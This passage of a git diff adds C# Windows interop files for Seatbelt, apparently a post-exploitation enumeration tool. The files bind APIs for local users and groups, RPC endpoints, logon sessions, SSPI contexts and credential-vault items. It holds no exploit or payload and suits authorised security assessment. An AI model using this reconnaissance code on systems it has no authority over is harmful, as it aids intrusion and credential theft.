[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct DSREG_USER_INFO + { + [MarshalAs(UnmanagedType.LPWStr)] public string UserEmail; + [MarshalAs(UnmanagedType.LPWStr)] public string UserKeyId; + [MarshalAs(UnmanagedType.LPWStr)] public string UserKeyName; + } + + [StructLayout(LayoutKind.Sequential)] + public struct CERT_PUBLIC_KEY_INFO + { + public CRYPT_ALGORITHM_IDENTIFIER Algorithm; + public CRYPT_BIT_BLOB PublicKey; + } + + [StructLayout(LayoutKind.Sequential)] + public struct CERT_CONTEXT + { + public uint dwCertEncodingType; + public IntPtr pbCertEncoded; + public uint cbCertEncoded; + public IntPtr pCertInfo; + public IntPtr hCertStore; + } + + + [StructLayout(LayoutKind.Sequential)] + public struct CRYPTOAPI_BLOB //x86 - 8, x64 - 16 + { + public Int32 cbData; + public IntPtr pbData; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct CRYPT_OBJID_BLOB //8 + { + public Int32 cbData; + [MarshalAs(UnmanagedType.ByValArray)] + public byte[] pbData; + } + + + [StructLayout(LayoutKind.Sequential)] + public struct CERT_INFO + { + public uint dwVersion; //4 + public CRYPTOAPI_BLOB SerialNumber; //8 - 16 + public CRYPT_ALGORITHM_IDENTIFIER SignatureAlgorithm; //12 - 16 + public CRYPTOAPI_BLOB Issuer; //8 - 16 + public System.Runtime.InteropServices.ComTypes.FILETIME NotBefore; //8 + public System.Runtime.InteropServices.ComTypes.FILETIME NotAfter; //8 + public CRYPTOAPI_BLOB Subject; //8 - 16 + public CERT_PUBLIC_KEY_INFO SubjectPublicKeyInfo;//24 - 40 + public CRYPT_BIT_BLOB IssuerUniqueId;//12 - 24 + public CRYPT_BIT_BLOB SubjectUniqueId;//12 - 24 + public uint cExtension;//4 + public IntPtr rgExtension;//4 - 8 + } + + [StructLayout(LayoutKind.Sequential)] + public struct CRYPT_ALGORITHM_IDENTIFIER //12 - 16 + { + [MarshalAs(UnmanagedType.LPStr)] + public String pszObjId; //4 + public CRYPT_OBJID_BLOB Parameters;//8 + } + + [StructLayout(LayoutKind.Sequential)] + public struct CRYPT_BIT_BLOB //12-24 + { + public Int32 cbData; //4 + public IntPtr pbData;//4-8 + public Int32 cUnusedBits;//4 + } + + + // TODO: Need to refactor and create separate classes for everywhere this is used + public class Principal + { + public Principal(string sid, SidNameUse? @class, string user, string domain) + { + Sid = sid; + Class = @class; + User = user; + Domain = domain; + } + public string Sid { get; } + public SidNameUse? Class { get; } + public string User { get; } + public string Domain { get; } + } + + #region Helper Functions + public static IEnumerable? GetLocalGroupMembers(string? computerName, string groupName) + { + // returns the "DOMAIN\user" members for a specified local group name + // adapted from boboes' code at https://stackoverflow.com/questions/33935825/pinvoke-netlocalgroupgetmembers-runs-into-fatalexecutionengineerror/33939889#33939889 + var members = new List(); + var retVal = NetLocalGroupGetMembers(computerName, groupName, 2, out var bufPtr, -1, out var EntriesRead, out var TotalEntries, out var Resume); + + if (retVal != 0) + { + var errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message; + throw new Exception("Error code " + retVal + ": " + errorMessage); + } + + if (EntriesRead == 0) + return members; + + var names = new string[EntriesRead]; + var memberInfo = new LOCALGROUP_MEMBERS_INFO_2[EntriesRead]; + var iter = bufPtr; + + for (var i = 0; i < EntriesRead; i++) + { + memberInfo[i] = (LOCALGROUP_MEMBERS_INFO_2)Marshal.PtrToStructure(iter, typeof(LOCALGROUP_MEMBERS_INFO_2)); + + //x64 safe + iter = new IntPtr(iter.ToInt64() + Marshal.SizeOf(typeof(LOCALGROUP_MEMBERS_INFO_2))); + + + var nameParts = memberInfo[i].lgrmi2_domainandname.Split('\\'); + var domain = nameParts[0]; + var userName = ""; + if (nameParts.Length > 1) + { + userName = nameParts[1]; + } + + Advapi32.ConvertSidToStringSid(memberInfo[i].lgrmi2_sid, out var sid); + + members.Add(new Principal( + sid, + memberInfo[i].lgrmi2_sidusage, + userName, + domain + )); + } + NetApiBufferFree(bufPtr); + + return members; + } + + public static IEnumerable GetLocalGroups(string? computerName) + { + // Returns local groups (and comments) + var retVal = NetLocalGroupEnum(computerName, 1, out var bufPtr, -1, out var entriesRead, out var totalEntries, out var resumeHandle); + + if (retVal != 0) + { + var errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message; + throw new Exception("Error code " + retVal + ": " + errorMessage); + } + + var groups = new List(); + + if (entriesRead == 0) + return groups; + + var names = new string[entriesRead]; + var groupInfo = new LOCALGROUP_INFO_1[entriesRead]; + var iter = bufPtr; + + + for (var i = 0; i < entriesRead; i++) + { + groupInfo[i] = (LOCALGROUP_INFO_1)Marshal.PtrToStructure(iter, typeof(LOCALGROUP_INFO_1)); + groups.Add(groupInfo[i]); + + //x64 safe + iter = new IntPtr(iter.ToInt64() + Marshal.SizeOf(typeof(LOCALGROUP_INFO_1))); + } + NetApiBufferFree(bufPtr); + + return groups; + + } + + public static IEnumerable GetLocalUsers(string computerName) + { + // Returns local users + // FILTER_NORMAL_ACCOUNT == 2 + var users = new List(); + var retVal = NetUserEnum(computerName, 3, 2, out var bufPtr, MAX_PREFERRED_LENGTH, out var EntriesRead, out var TotalEntries, out var Resume); + + if (retVal != 0) + { + var errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message; + throw new Exception("Error code " + retVal + ": " + errorMessage); + } + + if (EntriesRead == 0) + return users; + + var names = new string[EntriesRead]; + var userInfo = new USER_INFO_3[EntriesRead]; + var iter = bufPtr; + + + for (var i = 0; i < EntriesRead; i++) + { + userInfo[i] = (USER_INFO_3)Marshal.PtrToStructure(iter, typeof(USER_INFO_3)); + users.Add(userInfo[i]); + + //x64 safe + iter = new IntPtr(iter.ToInt64() + Marshal.SizeOf(typeof(USER_INFO_3))); + } + NetApiBufferFree(bufPtr); + + return users; + } + #endregion + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Interop/Rpcrt4.cs b/post_exploitation/Seatbelt/Seatbelt/Interop/Rpcrt4.cs new file mode 100644 index 0000000..b8b732d --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Interop/Rpcrt4.cs @@ -0,0 +1,76 @@ +using System; +using System.Runtime.InteropServices; + +namespace Seatbelt.Interop +{ + internal class Rpcrt4 + { + // Ref - https://github.com/microsoft/WindowsProtocolTestSuites/blob/e4f325ce2ecbdecaa1db7190c37a7941a28eb0e5/ProtoSDK/Common/Rpc/RpcNativeMethods.cs#L326-L527 + + // REGION: setup + [DllImport("rpcrt4.dll", CharSet = CharSet.Auto)] + public static extern uint RpcStringBindingCompose( + string ObjUuid, + string Protseq, + string NetworkAddr, + string Endpoint, + string Options, + out IntPtr StringBinding); + + [DllImport("rpcrt4.dll", CharSet = CharSet.Auto)] + public static extern uint RpcBindingFromStringBinding( + IntPtr StringBinding, + out IntPtr Binding); + + [DllImport("rpcrt4.dll", CharSet = CharSet.Auto)] + public static extern uint RpcBindingToStringBinding( + IntPtr Binding, + out IntPtr StringBinding); + + + // REGION: enumeration + + [DllImport("rpcrt4.dll", CharSet = CharSet.Auto)] + public static extern uint RpcMgmtEpEltInqBegin( + IntPtr EpBinding, + int InquiryType, // 0x00000000 = RPC_C_EP_ALL_ELTS + int IfId, // going to be 0/NULL, so we don't care about "ref RPC_IF_ID IfId" + int VersOption, + int ObjectUuid, // going to be 0/NULL, so we don't care about "ref RPC_IF_ID IfId" + out IntPtr InquiryContext); + + [DllImport("rpcrt4.dll", CharSet = CharSet.Auto)] + public static extern uint RpcMgmtEpEltInqNext( + IntPtr InquiryContext, + ref RPC_IF_ID IfId, + out IntPtr Binding, + int ObjectUuid, // going to be 0/NULL, so we don't care about "ref RPC_IF_ID IfId" + out IntPtr Annotation + ); + + + // REGION: cleanup + + [DllImport("rpcrt4.dll", CharSet = CharSet.Auto)] + public static extern uint RpcStringFree( + ref IntPtr String); + + [DllImport("rpcrt4.dll", CharSet = CharSet.Auto)] + public static extern uint RpcMgmtEpEltInqDone( + ref IntPtr InquiryContext); + + [DllImport("rpcrt4.dll", CharSet = CharSet.Auto)] + public static extern uint RpcBindingFree( + ref IntPtr Binding); + + + // REGION: structures + + public struct RPC_IF_ID + { + public Guid Uuid; + public ushort VersMajor; + public ushort VersMinor; + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Interop/SecBuffer.cs b/post_exploitation/Seatbelt/Seatbelt/Interop/SecBuffer.cs new file mode 100644 index 0000000..3818d28 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Interop/SecBuffer.cs @@ -0,0 +1,97 @@ +using System; +using System.Runtime.InteropServices; + +namespace Seatbelt.Interop +{ + // From https://github.com/mono/linux-packaging-mono/blob/d356d2b7db91d62b80a61eeb6fbc70a402ac3cac/external/corefx/src/System.Data.SqlClient/tests/Tools/TDS/TDS.EndPoint/SSPI/SecBufferType.cs + [StructLayout(LayoutKind.Sequential)] + public struct SecBuffer : IDisposable + { + public int BufferSize; + public int BufferType; + public IntPtr BufferPtr; + + /// + /// Initialization constructor that allocates a new security buffer + /// + /// Size of the buffer to allocate + internal SecBuffer(int bufferSize) + { + // Save buffer size + BufferSize = bufferSize; + + // Set buffer type (2 = Token) + BufferType = 2; + + // Allocate buffer + BufferPtr = Marshal.AllocHGlobal(bufferSize); + } + + /// + /// Initialization constructor for existing buffer + /// + /// Data + internal SecBuffer(byte[] buffer) + { + // Save buffer size + BufferSize = buffer.Length; + + // Set buffer type (2 = Token) + BufferType = 2; + + // Allocate unmanaged memory for the buffer + BufferPtr = Marshal.AllocHGlobal(BufferSize); + + + try + { + // Copy data into the unmanaged memory + Marshal.Copy(buffer, 0, BufferPtr, BufferSize); + } + catch (Exception) + { + // Dispose object + Dispose(); + + // Re-throw exception + throw; + } + } + + /// + /// Extract raw byte data from the security buffer + /// + internal byte[] ToArray() + { + // Check if we have a security buffer + if (BufferPtr == IntPtr.Zero) + { + return new byte[] {}; + } + + // Allocate byte buffer + var buffer = new byte[BufferSize]; + + // Copy data from the native space + Marshal.Copy(BufferPtr, buffer, 0, BufferSize); + + return buffer; + } + + /// + /// Dispose security buffer + /// + public void Dispose() + { + // Check buffer pointer validity + if (BufferPtr != IntPtr.Zero) + { + // Release memory associated with it + Marshal.FreeHGlobal(BufferPtr); + + // Reset buffer pointer + BufferPtr = IntPtr.Zero; + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Interop/SecBufferDesc.cs b/post_exploitation/Seatbelt/Seatbelt/Interop/SecBufferDesc.cs new file mode 100644 index 0000000..3e6ca1d --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Interop/SecBufferDesc.cs @@ -0,0 +1,152 @@ +using System; +using System.IO; +using System.Runtime.InteropServices; + +namespace Seatbelt.Interop +{ + // SecBufferDesc structure - https://docs.microsoft.com/en-us/windows/win32/api/sspi/ns-sspi-secbufferdesc + // From https://github.com/mono/linux-packaging-mono/blob/d356d2b7db91d62b80a61eeb6fbc70a402ac3cac/external/corefx/src/System.Data.SqlClient/tests/Tools/TDS/TDS.EndPoint/SSPI/SecBufferDesc.cs + [StructLayout(LayoutKind.Sequential)] + public struct SecBufferDesc : IDisposable + { + public int Version; + public int BufferCount; + public IntPtr BuffersPtr; + + /// + /// Initialization constructor + /// + /// Size of the buffer to allocate + internal SecBufferDesc(int size) + { + // Set version to SECBUFFER_VERSION + Version = 0; + + // Set the number of buffers + BufferCount = 1; + + // Allocate a security buffer of the requested size + var secBuffer = new SecBuffer(size); + + // Allocate a native chunk of memory for security buffer + BuffersPtr = Marshal.AllocHGlobal(Marshal.SizeOf(secBuffer)); + + try + { + // Copy managed data into the native memory + Marshal.StructureToPtr(secBuffer, BuffersPtr, false); + } + catch (Exception) + { + // Delete native memory + Marshal.FreeHGlobal(BuffersPtr); + + // Reset native buffer pointer + BuffersPtr = IntPtr.Zero; + + // Re-throw exception + throw; + } + } + + /// + /// Initialization constructor for byte array + /// + /// Data + internal SecBufferDesc(byte[] buffer) + { + // Set version to SECBUFFER_VERSION + Version = 0; + + // We have only one buffer + BufferCount = 1; + + // Allocate security buffer + var secBuffer = new SecBuffer(buffer); + + // Allocate native memory for managed block + BuffersPtr = Marshal.AllocHGlobal(Marshal.SizeOf(secBuffer)); + + try + { + // Copy managed data into the native memory + Marshal.StructureToPtr(secBuffer, BuffersPtr, false); + } + catch (Exception) + { + // Delete native memory + Marshal.FreeHGlobal(BuffersPtr); + + // Reset native buffer pointer + BuffersPtr = IntPtr.Zero; + + // Re-throw exception + throw; + } + } + + /// + /// Dispose security buffer descriptor + /// + public void Dispose() + { + // Check if we have a buffer + if (BuffersPtr != IntPtr.Zero) + { + // Iterate through each buffer than we manage + for (var index = 0; index < BufferCount; index++) + { + // Calculate pointer to the buffer + var currentBufferPtr = new IntPtr(BuffersPtr.ToInt64() + (index * Marshal.SizeOf(typeof(SecBuffer)))); + + // Project the buffer into the managed world + var secBuffer = (SecBuffer)Marshal.PtrToStructure(currentBufferPtr, typeof(SecBuffer)); + + // Dispose it + secBuffer.Dispose(); + } + + // Release native memory block + Marshal.FreeHGlobal(BuffersPtr); + + // Reset buffer pointer + BuffersPtr = IntPtr.Zero; + } + } + + /// + /// Convert to byte array + /// + internal byte[] ToArray() + { + // Check if we have a buffer + if (BuffersPtr == IntPtr.Zero) + { + // We don't have a buffer + return new byte[] {}; + } + + // Prepare a memory stream to contain all the buffers + var outputStream = new MemoryStream(); + + // Iterate through each buffer and write the data into the stream + for (var index = 0; index < BufferCount; index++) + { + // Calculate pointer to the buffer + var currentBufferPtr = new IntPtr(BuffersPtr.ToInt64() + (index * Marshal.SizeOf(typeof(SecBuffer)))); + + // Project the buffer into the managed world + var secBuffer = (SecBuffer)Marshal.PtrToStructure(currentBufferPtr, typeof(SecBuffer)); + + // Get the byte buffer + var secBufferBytes = secBuffer.ToArray(); + + // Write buffer to the stream + outputStream.Write(secBufferBytes, 0, secBufferBytes.Length); + } + + // Convert to byte array + return outputStream.ToArray(); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Interop/Secur32.cs b/post_exploitation/Seatbelt/Seatbelt/Interop/Secur32.cs new file mode 100644 index 0000000..357b6a8 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Interop/Secur32.cs @@ -0,0 +1,360 @@ +using System; +using System.Runtime.InteropServices; + +namespace Seatbelt.Interop +{ + public class Secur32 + { + #region Function Defintions + [DllImport("secur32.dll", SetLastError = false)] + public static extern uint LsaFreeReturnBuffer( + IntPtr buffer + ); + + [DllImport("Secur32.dll", SetLastError = false)] + public static extern uint LsaEnumerateLogonSessions( + out UInt64 LogonSessionCount, + out IntPtr LogonSessionList + ); + + [DllImport("Secur32.dll", SetLastError = false)] + public static extern uint LsaGetLogonSessionData( + IntPtr luid, + out IntPtr ppLogonSessionData + ); + + [DllImport("Secur32.dll", SetLastError = false)] + public static extern uint EnumerateSecurityPackages( + out UInt64 pcPackages, + out IntPtr ppPackageInfo + ); + + [DllImport("Secur32.dll")] + public static extern int FreeContextBuffer(IntPtr pvContextBuffer); + + [DllImport("secur32.dll", CharSet = CharSet.Unicode)] + public static extern uint AcquireCredentialsHandle( + IntPtr pszPrincipal, + string pszPackage, + int fCredentialUse, + IntPtr PAuthenticationID, + IntPtr pAuthData, + int pGetKeyFn, + IntPtr pvGetKeyArgument, + ref SECURITY_HANDLE phCredential, + ref SECURITY_INTEGER ptsExpiry); + + [DllImport("secur32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern uint InitializeSecurityContext( + ref SECURITY_HANDLE phCredential, + IntPtr phContext, + IntPtr pszTargetName, + int fContextReq, + int Reserved1, + int TargetDataRep, + IntPtr pInput, + int Reserved2, + out SECURITY_HANDLE phNewContext, + out SecBufferDesc pOutput, + out uint pfContextAttr, + out SECURITY_INTEGER ptsExpiry); + + [DllImport("secur32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern uint InitializeSecurityContext( + ref SECURITY_HANDLE phCredential, + ref SECURITY_HANDLE phContext, + IntPtr pszTargetName, + int fContextReq, + int Reserved1, + int TargetDataRep, + ref SecBufferDesc pInput, + int Reserved2, + out SECURITY_HANDLE phNewContext, + out SecBufferDesc pOutput, + out uint pfContextAttr, + out SECURITY_INTEGER ptsExpiry); + + [DllImport("secur32.dll", SetLastError = true)] + public static extern uint AcceptSecurityContext( + ref SECURITY_HANDLE phCredential, + IntPtr phContext, + ref SecBufferDesc pInput, + uint fContextReq, + uint TargetDataRep, + out SECURITY_HANDLE phNewContext, + out SecBufferDesc pOutput, + out uint pfContextAttr, + out SECURITY_INTEGER ptsTimeStamp); + + [DllImport("secur32.dll", SetLastError = true)] + public static extern uint DeleteSecurityContext(ref SECURITY_HANDLE phCredential); + [DllImport("secur32.dll", SetLastError = true)] + public static extern uint FreeCredentialsHandle(ref SECURITY_HANDLE phCredential); + #endregion + + #region Structure Defintions + [StructLayout(LayoutKind.Sequential)] + public struct LSA_STRING_IN + { + public ushort Length; + public ushort MaximumLength; + public string Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LSA_STRING_OUT + { + public ushort Length; + public ushort MaximumLength; + public IntPtr Buffer; + } + + [StructLayout(LayoutKind.Sequential)] + public struct UNICODE_STRING : IDisposable + { + public ushort Length; + public ushort MaximumLength; + public IntPtr buffer; + + public UNICODE_STRING(string s) + { + Length = (ushort)(s.Length * 2); + MaximumLength = (ushort)(Length + 2); + buffer = Marshal.StringToHGlobalUni(s); + } + + public void Dispose() + { + Marshal.FreeHGlobal(buffer); + buffer = IntPtr.Zero; + } + + public override string ToString() + { + return Marshal.PtrToStringUni(buffer); + } + } + + public enum SECURITY_LOGON_TYPE : uint + { + Interactive = 2, // logging on interactively. + Network, // logging using a network. + Batch, // logon for a batch process. + Service, // logon for a service account. + Proxy, // Not supported. + Unlock, // Tattempt to unlock a workstation. + NetworkCleartext, // network logon with cleartext credentials + NewCredentials, // caller can clone its current token and specify new credentials for outbound connections + RemoteInteractive, // terminal server session that is both remote and interactive + CachedInteractive, // attempt to use the cached credentials without going out across the network + CachedRemoteInteractive,// same as RemoteInteractive, except used internally for auditing purposes + CachedUnlock // attempt to unlock a workstation + } + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_LOGON_SESSION_DATA + { + public uint Size; + public LUID LoginID; + public LSA_STRING_OUT Username; + public LSA_STRING_OUT LoginDomain; + public LSA_STRING_OUT AuthenticationPackage; + public uint LogonType; + public uint Session; + public IntPtr PSiD; + public ulong LoginTime; + public LSA_STRING_OUT LogonServer; + public LSA_STRING_OUT DnsDomainName; + public LSA_STRING_OUT Upn; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SecPkgInfo + { + public SECPKG_FLAGS fCapabilities; + public short wVersion; + public short wRPCID; + public uint cbMaxToken; + [MarshalAs(UnmanagedType.LPStr)] + public string Name; + [MarshalAs(UnmanagedType.LPStr)] + public string Comment; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LUID_AND_ATTRIBUTES + { + public LUID Luid; + public uint Attributes; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LUID + { + public UInt32 LowPart; + public Int32 HighPart; + + public LUID(UInt64 value) + { + LowPart = (UInt32)(value & 0xffffffffL); + HighPart = (Int32)(value >> 32); + } + + public LUID(LUID value) + { + LowPart = value.LowPart; + HighPart = value.HighPart; + } + + public LUID(string value) + { + if (System.Text.RegularExpressions.Regex.IsMatch(value, @"^0x[0-9A-Fa-f]+$")) + { + // if the passed LUID string is of form 0xABC123 + UInt64 uintVal = Convert.ToUInt64(value, 16); + LowPart = (UInt32)(uintVal & 0xffffffffL); + HighPart = (Int32)(uintVal >> 32); + } + else if (System.Text.RegularExpressions.Regex.IsMatch(value, @"^\d+$")) + { + // if the passed LUID string is a decimal form + UInt64 uintVal = UInt64.Parse(value); + LowPart = (UInt32)(uintVal & 0xffffffffL); + HighPart = (Int32)(uintVal >> 32); + } + else + { + ArgumentException argEx = new ArgumentException("Passed LUID string value is not in a hex or decimal form", value); + throw argEx; + } + } + + public override int GetHashCode() + { + UInt64 Value = ((UInt64)HighPart << 32) + LowPart; + return Value.GetHashCode(); + } + + public override bool Equals(object obj) + { + return obj is LUID && (((ulong)this) == (LUID)obj); + } + + public byte[] GetBytes() + { + byte[] bytes = new byte[8]; + + byte[] lowBytes = BitConverter.GetBytes(LowPart); + byte[] highBytes = BitConverter.GetBytes(HighPart); + + Array.Copy(lowBytes, 0, bytes, 0, 4); + Array.Copy(highBytes, 0, bytes, 4, 4); + + return bytes; + } + + public override string ToString() + { + UInt64 Value = ((UInt64)HighPart << 32) + LowPart; + return String.Format("0x{0:x}", (ulong)Value); + } + + public static bool operator ==(LUID x, LUID y) + { + return (((ulong)x) == ((ulong)y)); + } + + public static bool operator !=(LUID x, LUID y) + { + return (((ulong)x) != ((ulong)y)); + } + + public static implicit operator ulong(LUID luid) + { + // enable casting to a ulong + UInt64 Value = ((UInt64)luid.HighPart << 32); + return Value + luid.LowPart; + } + } + + [StructLayout(LayoutKind.Sequential)] + public struct SID_AND_ATTRIBUTES + { + public IntPtr Sid; + public uint Attributes; + } + + [StructLayout(LayoutKind.Sequential)] + public struct TOKEN_GROUPS + { + public int GroupCount; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] + public SID_AND_ATTRIBUTES[] Groups; + }; + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_HANDLE + { + public IntPtr LowPart; + public IntPtr HighPart; + }; + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_INTEGER + { + public IntPtr LowPart; + public IntPtr HighPart; + }; + + public struct TOKEN_PRIVILEGES + { + public uint PrivilegeCount; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 35)] + public LUID_AND_ATTRIBUTES[] Privileges; + + public TOKEN_PRIVILEGES(uint PrivilegeCount, LUID_AND_ATTRIBUTES[] Privileges) + { + this.PrivilegeCount = PrivilegeCount; + this.Privileges = Privileges; + } + } + + #endregion + + #region Enum Definitions + + [Flags] + public enum SECPKG_FLAGS : uint + { + INTEGRITY = 0x1, + PRIVACY = 0x2, + TOKEN_ONLY = 0x4, + DATAGRAM = 0x8, + CONNECTION = 0x10, + MULTI_REQUIRED = 0x20, + CLIENT_ONLY = 0x40, + EXTENDED_ERROR = 0x80, + IMPERSONATION = 0x100, + ACCEPT_WIN32_NAME = 0x200, + STREAM = 0x400, + NEGOTIABLE = 0X800, + GSS_COMPATIBLE = 0x1000, + LOGON = 0x2000, + ASCII_BUFFERS = 0x4000, + FRAGMENT = 0x8000, + MUTUAL_AUTH = 0x10000, + DELEGATION = 0x20000, + READONLY_WITH_CHECKSUM = 0x40000, + RESTRICTED_TOKENS = 0x80000, + NEGO_EXTENDER = 0x00100000, + NEGOTIABLE2 = 0x00200000, + APPCONTAINER_PASSTHROUGH = 0x00400000, + APPCONTAINER_CHECKS = 0x00800000 + } + #endregion + + #region Helper Functions + + #endregion + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Interop/Shell32.cs b/post_exploitation/Seatbelt/Seatbelt/Interop/Shell32.cs new file mode 100644 index 0000000..309e7cf --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Interop/Shell32.cs @@ -0,0 +1,34 @@ +using System; +using System.Runtime.InteropServices; + +namespace Seatbelt.Interop +{ + internal class Shell32 + { + [DllImport("shell32.dll", SetLastError = true)] + private static extern IntPtr CommandLineToArgvW( + [MarshalAs(UnmanagedType.LPWStr)] string lpCmdLine, out int pNumArgs); + + public static string[] CommandLineToArgs(string commandLine) + { + var argv = CommandLineToArgvW(commandLine, out var argc); + if (argv == IntPtr.Zero) + throw new System.ComponentModel.Win32Exception(); + try + { + var args = new string[argc]; + for (var i = 0; i < args.Length; i++) + { + var p = Marshal.ReadIntPtr(argv, i * IntPtr.Size); + args[i] = Marshal.PtrToStringUni(p); + } + + return args; + } + finally + { + Marshal.FreeHGlobal(argv); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Interop/Shlwapi.cs b/post_exploitation/Seatbelt/Seatbelt/Interop/Shlwapi.cs new file mode 100644 index 0000000..13ebd29 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Interop/Shlwapi.cs @@ -0,0 +1,17 @@ +using System.Runtime.InteropServices; + +namespace Seatbelt.Interop +{ + class Shlwapi + { + public static bool IsWindowsServer() + { + return IsOS(OS_ANYSERVER); + } + + const int OS_ANYSERVER = 29; + + [DllImport("shlwapi.dll", SetLastError = true, EntryPoint = "#437")] + private static extern bool IsOS(int os); + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Interop/User32.cs b/post_exploitation/Seatbelt/Seatbelt/Interop/User32.cs new file mode 100644 index 0000000..43d51bb --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Interop/User32.cs @@ -0,0 +1,19 @@ +using System.Runtime.InteropServices; + +namespace Seatbelt.Interop +{ + internal class User32 + { + [DllImport("User32.dll")] + public static extern bool GetLastInputInfo(ref LastInputInfo lastInputInfo); + + [DllImport("user32.dll")] + public static extern bool SetProcessDPIAware(); + + internal struct LastInputInfo + { + public uint Size; + public uint Time; + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Interop/VaultCli.cs b/post_exploitation/Seatbelt/Seatbelt/Interop/VaultCli.cs new file mode 100644 index 0000000..02e1219 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Interop/VaultCli.cs @@ -0,0 +1,116 @@ +using System; +using System.Runtime.InteropServices; + +namespace Seatbelt +{ + public static class VaultCli + { + // pulled directly from @djhohnstein's SharpWeb project: https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs + public enum VAULT_ELEMENT_TYPE : int + { + Undefined = -1, + Boolean = 0, + Short = 1, + UnsignedShort = 2, + Int = 3, + UnsignedInt = 4, + Double = 5, + Guid = 6, + String = 7, + ByteArray = 8, + TimeStamp = 9, + ProtectedArray = 10, + Attribute = 11, + Sid = 12, + Last = 13 + } + + public enum VAULT_SCHEMA_ELEMENT_ID : int + { + Illegal = 0, + Resource = 1, + Identity = 2, + Authenticator = 3, + Tag = 4, + PackageSid = 5, + AppStart = 100, + AppEnd = 10000 + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] + public struct VAULT_ITEM_WIN8 + { + public Guid SchemaId; + public IntPtr pszCredentialFriendlyName; + public IntPtr pResourceElement; + public IntPtr pIdentityElement; + public IntPtr pAuthenticatorElement; + public IntPtr pPackageSid; + public ulong LastModified; + public uint dwFlags; + public uint dwPropertiesCount; + public IntPtr pPropertyElements; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] + public struct VAULT_ITEM_WIN7 + { + public Guid SchemaId; + public IntPtr pszCredentialFriendlyName; + public IntPtr pResourceElement; + public IntPtr pIdentityElement; + public IntPtr pAuthenticatorElement; + public ulong LastModified; + public uint dwFlags; + public uint dwPropertiesCount; + public IntPtr pPropertyElements; + } + + [StructLayout(LayoutKind.Explicit, CharSet = CharSet.Unicode)] + public struct VAULT_ITEM_ELEMENT + { + [FieldOffset(0)] + public VAULT_SCHEMA_ELEMENT_ID SchemaElementId; + [FieldOffset(8)] + public VAULT_ELEMENT_TYPE Type; + //[FieldOffset(16)] + //public Guid Guid; + } + + //typedef struct _VAULT_BYTE_BUFFER + //{ + // DWORD Length; + // PBYTE Value; + //} + //VAULT_BYTE_BUFFER, *PVAULT_BYTE_BUFFER; + [StructLayout(LayoutKind.Sequential)] + public struct VAULT_BYTE_ARRAY + { + public int Length; + public IntPtr pData; + } + + [DllImport("vaultcli.dll")] + public static extern int VaultOpenVault(ref Guid vaultGuid, uint offset, ref IntPtr vaultHandle); + + [DllImport("vaultcli.dll")] + public static extern int VaultCloseVault(ref IntPtr vaultHandle); + + [DllImport("vaultcli.dll")] + public static extern int VaultFree(ref IntPtr vaultHandle); + + [DllImport("vaultcli.dll")] + public static extern int VaultEnumerateVaults(int offset, ref int vaultCount, ref IntPtr vaultGuid); + + [DllImport("vaultcli.dll")] + public static extern int VaultEnumerateItems(IntPtr vaultHandle, int chunkSize, ref int vaultItemCount, ref IntPtr vaultItem); + + [DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")] + public static extern int VaultGetItem_WIN8(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr pPackageSid, IntPtr zero, int arg6, ref IntPtr passwordVaultPtr); + + [DllImport("vaultcli.dll", EntryPoint = "VaultGetItem")] + public static extern int VaultGetItem_WIN7(IntPtr vaultHandle, ref Guid schemaId, IntPtr pResourceElement, IntPtr pIdentityElement, IntPtr zero, int arg5, ref IntPtr passwordVaultPtr); + + } + +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Interop/Win32Error.cs b/post_exploitation/Seatbelt/Seatbelt/Interop/Win32Error.cs new file mode 100644 index 0000000..f88e446 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Interop/Win32Error.cs @@ -0,0 +1,18 @@ +namespace Seatbelt.Interop +{ + // Defined at https://msdn.microsoft.com/en-us/library/cc231199.aspx + // Only list error codes that are actually used in our code + internal class Win32Error + { + public const int Success = 0; + public const int NERR_Success = 0; + public const int AccessDenied = 0x0000005; + public const int NotEnoughMemory = 0x00000008; + public const int InsufficientBuffer = 0x0000007A; + public const int MoreData = 0x00000EA; + public const int NoSuchAlias = 0x0000560; + public const int RpcServerUnavailable = 0x0006BA; + public const int NERR_GroupNotFound = 0x00008AC; + public const int NERR_InvalidComputer = 0x000092F; + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Interop/Wtsapi32.cs b/post_exploitation/Seatbelt/Seatbelt/Interop/Wtsapi32.cs new file mode 100644 index 0000000..718472a 